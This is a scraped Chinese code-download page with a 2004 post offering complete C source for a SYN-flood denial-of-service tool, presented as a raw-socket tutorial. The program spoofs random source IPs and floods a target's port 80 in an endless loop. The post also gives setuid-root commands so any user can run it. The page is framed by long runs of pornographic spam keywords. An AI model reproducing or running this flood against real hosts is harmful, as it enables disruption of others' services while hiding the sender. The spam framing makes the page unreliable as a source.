亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? c源碼:一個原始套接字的實例.txt

?? 學習(編程技巧_編程知識_程序代碼),是學習編程不可多得的學習精驗
?? TXT
字號:
C源碼:一個原始套接字的實例
 

--------------------------------------------------------------------------------
 
第八軍團 時間:2004-1-23 15:57:29 
   
還記得DOS是什么意思嗎?在這里我們就一起來編寫一個實現DOS的小程序. 下面是程序的源代碼  

/******************** DOS.c *****************/  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <netinet/ip.h>  
#include <netinet/tcp.h>  
#include <stdlib.h>  
#include <errno.h>  
#include <unistd.h>  
#include <stdio.h>  
#include <netdb.h>  

#define DESTPORT 80 /* 要攻擊的端口(WEB) */  
#define LOCALPORT 8888  

void send_tcp(int sockfd,struct sockaddr_in *addr);  
unsigned short check_sum(unsigned short *addr,int len);  

int main(int argc,char **argv)  
{  
int sockfd;  
struct sockaddr_in addr;  
struct hostent *host;  
int on=1;  

if(argc!=2)  
{  
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);  
exit(1);  
}  

bzero(&addr,sizeof(struct sockaddr_in));  
addr.sin_family=AF_INET;  
addr.sin_port=htons(DESTPORT);  

if(inet_aton(argv[1],&addr.sin_addr)==0)  
{  
host=gethostbyname(argv[1]);  
if(host==NULL)  
{  
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));  
exit(1);  
}  
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);  
}  

/**** 使用IPPROTO_TCP創建一個TCP的原始套接字 ****/  

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);  
if(sockfd<0)  
{  
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));  
exit(1);  
}  
/******** 設置IP數據包格式,告訴系統內核模塊IP數據包由我們自己來填寫 ***/  

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));  

/**** 沒有辦法,只用超級護用戶才可以使用原始套接字 *********/  
setuid(getpid());  

/********* 發送炸彈了!!!! ****/  
send_tcp(sockfd,&addr);  
}  



/******* 發送炸彈的實現 *********/  
void send_tcp(int sockfd,struct sockaddr_in *addr)  
{  
char buffer[100]; /**** 用來放置我們的數據包 ****/  
struct ip *ip;  
struct tcphdr *tcp;  
int head_len;  

/******* 我們的數據包實際上沒有任何內容,所以長度就是兩個結構的長度 ***/  

head_len=sizeof(struct ip)+sizeof(struct tcphdr);  

bzero(buffer,100);  

/******** 填充IP數據包的頭部,還記得IP的頭格式嗎? ******/  
ip=(struct ip *)buffer;  
ip->ip_v=IPVERSION; /** 版本一般的是 4 **/  
ip->ip_hl=sizeof(struct ip)>>2; /** IP數據包的頭部長度 **/  
ip->ip_tos=0; /** 服務類型 **/  
ip->ip_len=htons(head_len); /** IP數據包的長度 **/  
ip->ip_id=0; /** 讓系統去填寫吧 **/  
ip->ip_off=0; /** 和上面一樣,省點時間 **/  
ip->ip_ttl=MAXTTL; /** 最長的時間 255 **/  
ip->ip_p=IPPROTO_TCP; /** 我們要發的是 TCP包 **/  
ip->ip_sum=0; /** 校驗和讓系統去做 **/  
ip->ip_dst=addr->sin_addr; /** 我們攻擊的對象 **/  

/******* 開始填寫TCP數據包 *****/  
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));  
tcp->source=htons(LOCALPORT);  
tcp->dest=addr->sin_port; /** 目的端口 **/  
tcp->seq=random();  
tcp->ack_seq=0;  
tcp->doff=5;  
tcp->syn=1; /** 我要建立連接 **/  
tcp->check=0;  


/** 好了,一切都準備好了.服務器,你準備好了沒有?? ^_^ **/  
while(1)  
{  
/** 你不知道我是從那里來的,慢慢的去等吧! **/  
ip->ip_src.s_addr=random();  

/** 什么都讓系統做了,也沒有多大的意思,還是讓我們自己來校驗頭部吧 */  
/** 下面這條可有可無 */  
tcp->check=check_sum((unsigned short *)tcp,  
sizeof(struct tcphdr));  
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));  
}  
}  

/* 下面是首部校驗和的算法,偷了別人的 */  
unsigned short check_sum(unsigned short *addr,int len)  
{  
register int nleft=len;  
register int sum=0;  
register short *w=addr;  
short answer=0;  

while(nleft>1)  
{  
sum+=*w++;  
nleft-=2;  
}  
if(nleft==1)  
{  
*(unsigned char *)(&answer)=*(unsigned char *)w;  
sum+=answer;  
}  

sum=(sum>>16)+(sum&0xffff);  
sum+=(sum>>16);  
answer=~sum;  
return(answer);  
}  

編譯一下,拿localhost做一下實驗,看看有什么結果.(千萬不要試別人的啊). 為了讓普通用戶可以運行這個程序,我們應該將這個程序的所有者變為root,且 設置setuid位  

[root@hoyt /root]#chown root DOS  
[root@hoyt /root]#chmod +s DOS  


總結  
原始套接字和一般的套接字不同的是以前許多由系統做的事情,現在要由我們自己來做了. 不過這里面是不是有很多的樂趣呢. 當我們創建了一個TCP套接字的時候,我們只是負責把我們要發送的內容(buffer)傳遞給了系統. 系統在收到我們的數據后,回自動的調用相應的模塊給數據加上TCP頭部,然后加上IP頭部. 再發送出去.而現在是我們自己創建各個的頭部,系統只是把它們發送出去. 在上面的實例中,由于我們要修改我們的源IP地址,所以我們使用了setsockopt函數,如果我們只是修改TCP數據,那么IP數據一樣也可以由系統來創建的.  

 
 
 

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
一区二区三区毛片| 欧美一区二区免费观在线| 国产日本欧洲亚洲| 激情综合色播激情啊| 精品国产91亚洲一区二区三区婷婷| 水野朝阳av一区二区三区| 在线不卡一区二区| 秋霞影院一区二区| 国产午夜精品一区二区三区嫩草| 成人免费高清视频| 亚洲精品日日夜夜| 日韩一区二区三区免费看| 国产精品综合在线视频| 亚洲欧美日韩综合aⅴ视频| 欧美私模裸体表演在线观看| 强制捆绑调教一区二区| 国产婷婷色一区二区三区 | 国产精品天美传媒沈樵| av亚洲精华国产精华| 亚洲国产日韩一区二区| 欧美成人一区二区三区片免费 | 91一区二区三区在线观看| 一区二区三区四区不卡在线| 日韩女优视频免费观看| 播五月开心婷婷综合| 亚洲成人av免费| 精品91自产拍在线观看一区| 成人白浆超碰人人人人| 日韩和欧美一区二区| 中文一区在线播放| 欧美精品三级在线观看| 成人精品免费看| 青青青爽久久午夜综合久久午夜 | 欧美一区二区在线播放| 不卡av在线网| 激情都市一区二区| 亚洲最大成人综合| 国产视频一区二区在线| 欧美精品免费视频| 色综合久久中文字幕综合网| 蜜桃精品在线观看| 一区二区在线免费观看| 久久久久久久精| 91精品在线麻豆| 日本黄色一区二区| 粉嫩绯色av一区二区在线观看 | 国产河南妇女毛片精品久久久 | 国产一区二区三区美女| 亚洲成人av一区二区三区| 中国av一区二区三区| 欧美电影精品一区二区| 欧美日韩的一区二区| 91丨九色丨尤物| 国产成人综合网站| 久久精品久久99精品久久| 性感美女极品91精品| 亚洲欧美日韩综合aⅴ视频| 久久久国产精华| 亚洲精品一线二线三线| 欧美精品18+| 欧美日韩在线观看一区二区| 一本一道综合狠狠老| 粉嫩av一区二区三区| 国产成人精品亚洲777人妖| 韩国精品免费视频| 久久国产精品一区二区| 久久国产尿小便嘘嘘| 免费在线观看不卡| 日本欧洲一区二区| 午夜视频久久久久久| 亚洲一区二区三区国产| 亚洲日本一区二区| 亚洲精品国产高清久久伦理二区| 亚洲四区在线观看| 国产精品久久久久影视| 中文字幕在线视频一区| 国产欧美一区二区精品性色超碰| 久久综合久色欧美综合狠狠| 欧美成人欧美edvon| 欧美r级在线观看| 欧美精品一区二区三区在线播放| 日韩一级片网站| 精品国产乱码久久久久久夜甘婷婷| 日韩一级二级三级精品视频| 欧美xxx久久| 欧美成人a视频| 久久久综合视频| 国产三级久久久| 国产精品伦一区二区三级视频| 亚洲欧洲日产国码二区| 亚洲综合一二三区| 日韩精品电影在线观看| 久久电影网电视剧免费观看| 国内精品伊人久久久久影院对白| 国产精品综合av一区二区国产馆| 成人av影视在线观看| 色婷婷av一区| 欧美一区二区三区视频免费播放 | 精品视频123区在线观看| 91精品午夜视频| 国产日韩综合av| 亚洲人成精品久久久久| 午夜精品在线视频一区| 精品一区二区三区免费视频| 国产成人高清视频| 日本久久一区二区| 精品国产亚洲在线| 亚洲理论在线观看| 日韩电影在线免费| 国产+成+人+亚洲欧洲自线| 99re视频这里只有精品| 欧美精品久久久久久久久老牛影院| 欧美精品一区二| 一区二区三区在线观看网站| 麻豆91精品视频| 99久久99久久综合| 欧美一区日韩一区| 亚洲色图制服诱惑| 久久 天天综合| 日本福利一区二区| 国产亚洲一区二区三区四区| 亚洲高清免费观看高清完整版在线观看| 久久国产精品无码网站| 色国产综合视频| 久久免费视频一区| 亚洲国产精品久久久久婷婷884| 国产乱对白刺激视频不卡| 欧美曰成人黄网| 欧美高清一级片在线观看| 日韩一区欧美二区| 日本久久精品电影| 国产精品无码永久免费888| 日韩av一区二区三区| 在线视频你懂得一区| 国产视频视频一区| 日本特黄久久久高潮| 在线中文字幕一区二区| 亚洲国产成人午夜在线一区| 久久国产欧美日韩精品| 欧美久久久久久蜜桃| 一区二区三区在线观看网站| 成人小视频免费观看| 久久这里只有精品首页| 免费成人小视频| 欧美性受xxxx黑人xyx| 亚洲人成小说网站色在线| 丁香啪啪综合成人亚洲小说| www激情久久| 久久成人免费网站| 日韩色在线观看| 奇米精品一区二区三区在线观看一| 欧美亚洲一区二区在线| 亚洲精品视频观看| 色婷婷久久久久swag精品| 国产精品不卡一区二区三区| 国产成人激情av| 久久久久久久久久久99999| 久久99精品久久久久久国产越南| 欧美一级二级三级乱码| 丝袜亚洲精品中文字幕一区| 欧美日韩一区二区三区免费看| 亚洲精品国产无套在线观| 色呦呦日韩精品| 亚洲综合丁香婷婷六月香| 欧美色综合网站| 亚洲va韩国va欧美va精品 | 色伊人久久综合中文字幕| 亚洲欧洲成人av每日更新| 成人av资源网站| 亚洲欧洲国产日本综合| 色天使色偷偷av一区二区| 亚洲综合免费观看高清完整版在线| 色综合夜色一区| 亚洲国产精品久久人人爱蜜臀| 欧美视频中文字幕| 丝袜美腿亚洲综合| 日韩精品一区二区三区在线播放| 久久av中文字幕片| 久久综合九色综合97婷婷| 精品一区二区三区在线播放| 国产欧美精品一区二区三区四区| 高清不卡一二三区| 亚洲三级小视频| 欧美日韩国产一级片| 久久 天天综合| 国产精品理论在线观看| 91久久线看在观草草青青 | 亚洲狠狠丁香婷婷综合久久久| 在线一区二区视频| 图片区小说区区亚洲影院| 日韩一区二区电影| 国产成人精品一区二区三区网站观看| 国产精品美女久久久久高潮| 91精彩视频在线观看| 麻豆国产欧美一区二区三区| 久久精品免视看| 欧美视频一区二区三区| 极品少妇一区二区| 亚洲男帅同性gay1069| 欧美一区二区三区四区五区|